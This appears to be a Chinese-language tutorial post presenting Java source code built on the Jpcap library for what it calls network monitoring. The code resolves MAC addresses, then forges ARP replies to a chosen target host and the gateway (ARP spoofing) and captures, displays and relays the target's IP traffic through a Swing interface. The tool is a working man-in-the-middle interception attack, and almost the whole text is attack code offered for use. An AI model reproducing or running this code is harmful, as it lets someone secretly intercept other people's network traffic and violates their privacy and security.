如何使用Jpcap 包实现网络监听

如何使用Jpcap 包实现网络监听
实现的代码如下（这里提供几个重要的类）
/**
* @(#)ARP.java
* ARP类
* 用于解析目标主机IP的地址为相应的MAC地址
* @author scholar_ii
* @version 1.00 2007/12/10
* @since JDK1.6
*/
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import java.util.Arrays;
import java.net.InetAddress;
import java.net.Inet4Address;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import jpcap.NetworkInterface;
import jpcap.NetworkInterfaceAddress;
import javax.swing.JOptionPane;
public class ARP
{
/**
* 静态方法:用于解析目标IP地址,得到相应的MAC地址
* @param targetIp
* 目标主机IP地址
* @return targetMAC
* 目标主机MAC地址
*/
public static byte[] getTargetMAC(InetAddress targetIp)
{
NetworkInterface[] devices=JpcapCaptor.getDeviceList();
NetworkInterface device=null;
//寻找适合的网络设备
loop: for(NetworkInterface d:devices)
{
for(NetworkInterfaceAddress addr:d.addresses)
{
if(!(addr.address instanceof Inet4Address)) continue;
byte[] bip=targetIp.getAddress();
byte[] subnet=addr.subnet.getAddress();
byte[] bif=addr.address.getAddress();
for(int i=0;i<4;i++){
bip[i]=(byte)(bip[i]&subnet[i]);
bif[i]=(byte)(bif[i]&subnet[i]);
}
if(Arrays.equals(bip,bif))
{
device=d;
break loop;
}
}
}

if(device==null)
throw new IllegalArgumentException(targetIp+" is not a local address");
JpcapCaptor captor = null;
//打开一个网络数据包捕捉者
try
{
captor=JpcapCaptor.openDevice(device,2000,false,3000);
//只接收ARP数包
captor.setFilter("arp",true);
}catch(Exception e)
{

}
//获得发送数据包的实例
JpcapSender sender=captor.getJpcapSenderInstance();
InetAddress srcip=null;
for(NetworkInterfaceAddress addr:device.addresses)
if(addr.address instanceof Inet4Address){
srcip=addr.address;
break;
}
//进行广播数据报的MAC地址
byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255};
//构造REQUEST 类型的ARP的数据包
ARPPacket arp=new ARPPacket();
arp.hardtype=ARPPacket.HARDTYPE_ETHER;
arp.prototype=ARPPacket.PROTOTYPE_IP;
arp.operation=ARPPacket.ARP_REQUEST;
arp.hlen=6;
arp.plen=4;
//源MAC地址
arp.sender_hardaddr=device.mac_address;
//源IP地址
arp.sender_protoaddr=srcip.getAddress();
//目地MAC地址:广播地址全为1(二进制)
arp.target_hardaddr=broadcast;
//目地IP地址
arp.target_protoaddr=targetIp.getAddress();
//构造以太网头部
EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=device.mac_address;
ether.dst_mac=broadcast;
//ARP数据包加上以网关头部
arp.datalink=ether;
//向局域网广播ARP请求数据报
sender.sendPacket(arp);
//接收目标主面的答应ARP数据报
while(true)
{
ARPPacket p=(ARPPacket)captor.getPacket();
if(p==null)
{
throw new IllegalArgumentException(targetIp +"不是本地局域网的IP号");
}
if(Arrays.equals(p.target_protoaddr,srcip.getAddress())){
return p.sender_hardaddr;
}
}
}

}
/**
* @(#)TrickerThread.java
* TrickerThread类用于向目标主与网关发送伪造的ARP
* 数据包.起到欺骗的角色
* @author scholar_ii
* @version 1.00 2007/12/18
*/
import java.net.InetAddress;
import jpcap.packet.*;
import jpcap.*;
public class TrickerThread extends Thread
{
/**
* 目标主机IP
*/
private String targetIP;
/**
* 网关IP
*/
private String gateWayIP;
/**
* 目标主机MAC
*/
private byte[] targetMAC;
/**
* 网关MAC
*/
private byte[] gateWayMAC;
/**
* 发往目标主机的伪造的ARP—REPY数据包
*/
private ARPPacket targetPacket;
/**
* 发往网关的伪造的ARP—REPY数据包
*/
private ARPPacket gateWayPacket;
/**
* 网卡设备
*/
private NetworkInterface device;
/**
* 网络数据包发送者
*/
private JpcapSender sender = null;
/*
* 构造方法
* 类的初使化
* @param device
* 网卡设备
* @param sender
* 网络数据包捕捉者
* @param targetIP
* 目标主机IP
* @param gateWayIP
* 网关IP
* @param targetMAC
* 目标主机MAC
* @param gateWayMAC
* 网关MAC
*/

public TrickerThread(NetworkInterface device, JpcapSender sender,
String targetIP, String gateWayIP, byte[] targetMAC , byte[] gateWayMAC)
{
this.device = device;
this.sender = sender;
this.targetIP = targetIP;
this.gateWayIP = gateWayIP;
this.targetMAC = targetMAC;
this.gateWayMAC = gateWayMAC;

makePacket();
}

/*
* 线程方法
* 每隔200ms向目标主机与网络发送伪造的ARP_REPY数据包
*
*/
public void run()
{

sender.sendPacket(targetPacket);
sender.sendPacket(gateWayPacket);
System.out.println("欺骗!!");
try
{
Thread.sleep(200);
}
catch(Exception e)
{
System.out.println();
}
}

private void makePacket()
{
/*构造欺骗目标的ARP包*/
/*目地IP地址为目标IP，目地MAC地址为目标MAC*/
/*源IP地址为网关IP（实际上是应该本地主IP），源MAC地址为本地主机MAC*/
targetPacket = new ARPPacket();//发往目标主机的ARP包
targetPacket.hardtype=ARPPacket.HARDTYPE_ETHER;
targetPacket.prototype=ARPPacket.PROTOTYPE_IP;
targetPacket.operation=ARPPacket.ARP_REPLY;//REPLY回复型ARP数据包
targetPacket.hlen=6;
targetPacket.plen=4;
targetPacket.sender_hardaddr=device.mac_address;//源MAC地址
targetPacket.target_hardaddr=targetMAC;//目地MAC地址
try
{
/*源IP地址：网关IP，进行欺骗*/
targetPacket.sender_protoaddr=InetAddress.getByName(gateWayIP).getAddress();
/*目地IP地址*/
targetPacket.target_protoaddr=InetAddress.getByName(targetIP).getAddress();
}catch(Exception e)
{

}
/*构造以太网帧的头部*/
EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
/*源MAC地址：本地MAC*/
ether.src_mac=device.mac_address;
/*目地MAC地址：目标MAC*/
ether.dst_mac=targetMAC;
/*ARP包加上以太网帖头部*/
targetPacket.datalink=ether;

/*构造欺骗网关的ARP包*/
/*目地IP地址为网关IP，目地MAC为网关MAC*/
/*源IP地址为为目标IP（实际应该为目标IP本地主机IP），源MAC地址为本地主MAC*/
gateWayPacket = new ARPPacket();//发往网关的ARP数据报
gateWayPacket.hardtype=ARPPacket.HARDTYPE_ETHER;
gateWayPacket.prototype=ARPPacket.PROTOTYPE_IP;
gateWayPacket.operation=ARPPacket.ARP_REPLY;
gateWayPacket.hlen=6;
gateWayPacket.plen=4;
gateWayPacket.sender_hardaddr=device.mac_address;//源MAC地址
gateWayPacket.target_hardaddr=gateWayMAC;//目标MAC地址
try
{
/*源IP地址：目标IP，进行欺骗*/
gateWayPacket.sender_protoaddr=InetAddress.getByName(targetIP).getAddress();
/*目地IP地址：网关*/
gateWayPacket.target_protoaddr=InetAddress.getByName(gateWayIP).getAddress();
}catch(Exception e)
{

}

ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=device.mac_address;//源MAC地址
ether.dst_mac=gateWayMAC;//目的MAC地址
gateWayPacket.datalink=ether;

}


}
/**
* @(#)MinitorAntherHostThread.java
* MinitorAntherHostThread类
* 用于监听局域网的目标主机的通讯
* @author scholar_ii
* @version 1.00 2007/12/9
*/

import jpcap.*;
import java.io.*;
import java.net.*;
import jpcap.packet.*;
import javax.swing.table.DefaultTableModel;
public class MinitorAntherHostThread extends Thread
{
/**
* 设备列表
*/
private jpcap.NetworkInterface[] devices = null;
/**
* 使用的设备
*/
private jpcap.NetworkInterface device = null ;
/**
* 网络数据包的捕捉者
*/
private JpcapCaptor captor = null ;
/**
* 网络数据包的发送者
*/
private JpcapSender sender = null;
/**
* 目标主机MAC地址
*/
private byte[] targetMAC;
/**
* 网关MAC地址
*/
private byte[] gateWayMAC;
/**
* 目标IP地址
*/
private String targetIP;
/**
* 网关IP地址
*/
private String gateWayIP;
/**
* 表格数据模式
*/
private DefaultTableModel model;

/* 构造函数
* @param model
* 表格数据模型
* @param targetIP
* 目标主机IP
* @param gateWayIP
* 网关IP
* @param targetMAC
* 目标主机MAC地址
* @param gateWayMAC
* 网关MAC地址
*
*/

public MinitorAntherHostThread(DefaultTableModel model, String targetIP
, String gateWayIP, byte[] targetMAC, byte[] gateWayMAC)
{
this.model = model;
this.targetIP = targetIP;
this.gateWayIP = gateWayIP;
this.targetMAC = targetMAC;
this.gateWayMAC = gateWayMAC;
try
{
initDevice();
}
catch(IOException e)
{

}

}

/**
* 初始化设备
* JpcapCaptor.getDeviceList()得到设备可能会有两个，其中一个必定是“Generic
* dialup adapter”，这是windows系统的虚拟网卡，并非真正的硬件设备。
* 注意：在这里有一个小小的BUG，如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
* JFame（）这类的语句会影响得到设备个数，只会得到真正的硬件设备，而不会出现虚拟网卡。
* 虚拟网卡只有MAC地址而没有IP地址，而且如果出现虚拟网卡，那么实际网卡的MAC将分
* 配给虚拟网卡，也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。
* @throws IOException
* 如要打开网卡设备出现异常
*/
private void initDevice() throws IOException
{
devices = JpcapCaptor.getDeviceList(); //去除虚拟网卡的处理
int index = 0;
if(devices.length>1)
index = 1;
device = devices[index];//只有一个设备
captor = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
captor.setFilter("ip",true); //只监听B的IP数据包
sender = captor.getJpcapSenderInstance();//获得发送数据包的实例
}

/**
* 打印接受到的数据包并转发
*/
public void run()//接收数据包并转发
{
TrickerThread tricker = new TrickerThread(device, sender,targetIP, gateWayIP, targetMAC , gateWayMAC);
/*开始欺骗线程*/
tricker.start();
IPPacket dataPacket = null;
/*处理接收与转发数据包*/
while(true)
{
dataPacket =(IPPacket)captor.getPacket();
if(dataPacket!=null)
{
System.out.println(dataPacket);
Object[] data = {"","","",""};
if(dataPacket.src_ip.getHostAddress().equals(targetIP))
{
data[0] = "发送";
data[1] = dataPacket.getClass().getName();
data[2] = dataPacket;
StringBuffer buffer = new StringBuffer();
for(Byte a:dataPacket.data)
{
buffer.append(Byte.toString(a));
}
data[3] = new String(buffer);
model.addRow(data);//显不数据包
/*转发目标想发送到网络（到网关）的数据包*/
send(dataPacket, gateWayMAC);
System.out.println(dataPacket);
}
else if(dataPacket.dst_ip.getHostAddress().equals(targetIP))
{
data[0] = "接收";
data[2] = dataPacket;
StringBuffer buffer = new StringBuffer();
for(Byte a:dataPacket.data)
{
buffer.append(Byte.toString(a));
}
data[3] = new String(buffer);
model.addRow(data);//显不数据包
/*转发网络（网关）想发关到目标主机的数据包*/
send(dataPacket, targetMAC);
System.out.println(dataPacket);
}

}


}
}

/**
* 转发数据包的函数
* @param packet
* 发送的数据包
* @param changeMAC
* 发送目标的物理地址
*/
private void send(Packet packet, byte[] changeMAC)
{
EthernetPacket eth;
if(packet.datalink instanceof EthernetPacket)
{
eth = (EthernetPacket)packet.datalink;
for(int i = 0; i < 6; i++)
{
eth.dst_mac[i] = changeMAC[i]; //修改包以太头，改变包的目标
eth.src_mac[i] = device.mac_address[i]; //源发送者为A
}
sender.sendPacket(packet);
}
}
}
/**
* @(#)MinitorAntherHostPane.java
*
*
* @author
* @version 1.00 2007/12/9
*/
import javax.swing.JLabel;
import javax.swing.JTable;
import javax.swing.JPanel;
import javax.swing.JButton;
import javax.swing.JTextField;
import java.awt.FlowLayout;
import javax.swing.JCheckBox;
import java.net.InetAddress;
import java.awt.BorderLayout;
import javax.swing.JScrollPane;
import java.awt.event.MouseEvent;
import javax.swing.BorderFactory;
import java.awt.event.MouseAdapter;
import java.awt.event.ActionListener;
import javax.swing.table.DefaultTableModel;
import javax.swing.table.DefaultTableModel;
public class MinitorAntherHostPane extends JPanel
{
private JButton initButton;
private JButton startButton;
private JButton stopButton;
private JButton endButton;
private JPanel operatePane;
private JTable showPackage;
private DefaultTableModel model;
private JScrollPane showPane;
private JPanel northPane ;
private JLabel label;
private JLabel label2;
private JLabel label3;
private JLabel label4;
private JTextField textField;
private JTextField textField2;
private JTextField textField3;
private JTextField textField4;
private JButton arpButton;
private String targetIp;
private String gateWayIp;
private byte[] targetMac;
private byte[] gateWayMac;
private MinitorAntherHostThread minitor;
public MinitorAntherHostPane()
{
Object[][] data = {{}};
Object[] title = {"监听类型","数据包类型","数据包通信信息","数据包的数据"};
model = new DefaultTableModel(data, title);
showPackage = new JTable(model);
showPackage.setAutoResizeMode(JTable.AUTO_RESIZE_OFF);
showPane = new JScrollPane(showPackage);
showPane.setBorder(BorderFactory.createTitledBorder("监听的数据包列表"));

initButton = new JButton("开始监听");
initButton.addMouseListener(
new MouseAdapter()
{
public void mouseClicked(MouseEvent e)
{
initButton.setEnabled(false);
stopButton.setEnabled(true);
MinitorAntherHostThread minitor = new MinitorAntherHostThread(model,targetIp,gateWayIp,targetMac,gateWayMac);
minitor.start();
}
});
startButton = new JButton("继续监听");
startButton.setEnabled(false);
startButton.addMouseListener(
new MouseAdapter()
{
public void mouseClicked(MouseEvent e)
{
stopButton.setEnabled(true);
endButton.setEnabled(false);
minitor.resume();
}
}
);
stopButton = new JButton("暂停监听");
stopButton.setEnabled(false);
stopButton.addMouseListener(
new MouseAdapter()
{
public void mouseClicked(MouseEvent e)
{
stopButton.setEnabled(false);
startButton.setEnabled(true);
endButton.setEnabled(true);
minitor.suspend();

}
}
);
endButton = new JButton("终止监听");
endButton.setEnabled(false);
endButton.addMouseListener(
new MouseAdapter()
{
public void mouseClicked(MouseEvent e)
{
initButton.setEnabled(true);
startButton.setEnabled(false);
stopButton.setEnabled(false);
endButton.setEnabled(false);
try
{
minitor.destroy();
}
catch(Exception ex)
{

}

}
}
);
operatePane = new JPanel();
operatePane.add(initButton);
operatePane.add(startButton);
operatePane.add(stopButton);
operatePane.add(endButton);
operatePane.setBorder(BorderFactory.createTitledBorder("操作选项"));

label = new JLabel("目标主机的IP地址：");
textField = new JTextField(9);
arpButton = new JButton("解析MAC地址");
arpButton.addMouseListener(
new MouseAdapter()
{
public void mouseClicked(MouseEvent e)
{
if(textField.getText().equals(""))
{

}
else
{
try
{
targetIp = textField.getText();
targetMac = ARP.getTargetMAC(InetAddress.getByName(targetIp));
}
catch(Exception ex)
{

}
StringBuffer buffer = new StringBuffer();
for (byte b : targetMac)
buffer.append(Integer.toHexString(b&0xff) + ":");
textField2.setText(new String(buffer));

try
{
gateWayIp = textField3.getText();
gateWayMac = ARP.getTargetMAC(InetAddress.getByName(gateWayIp));
}
catch(Exception ex)
{

}
buffer = new StringBuffer();
for (byte b : gateWayMac)
buffer.append(Integer.toHexString(b&0xff) + ":");
textField4.setText(new String(buffer));
}
}
}
);
label2 = new JLabel("目标主机MAC地址：");
textField2 = new JTextField(9);
label3 = new JLabel("网关IP地址:");
textField3 = new JTextField(9);
label4 = new JLabel("网关MAC地址：");
textField4 = new JTextField(9);
northPane = new JPanel(new FlowLayout(FlowLayout.LEFT));
northPane.add(label3);
northPane.add(textField3);
northPane.add(label);
northPane.add(textField);
northPane.add(arpButton);
northPane.add(label4);
northPane.add(textField4);
northPane.add(label2);
northPane.add(textField2);
setLayout(new BorderLayout());
add(northPane, BorderLayout.NORTH);
add(showPane, BorderLayout.CENTER);
add(operatePane, BorderLayout.SOUTH);
}


}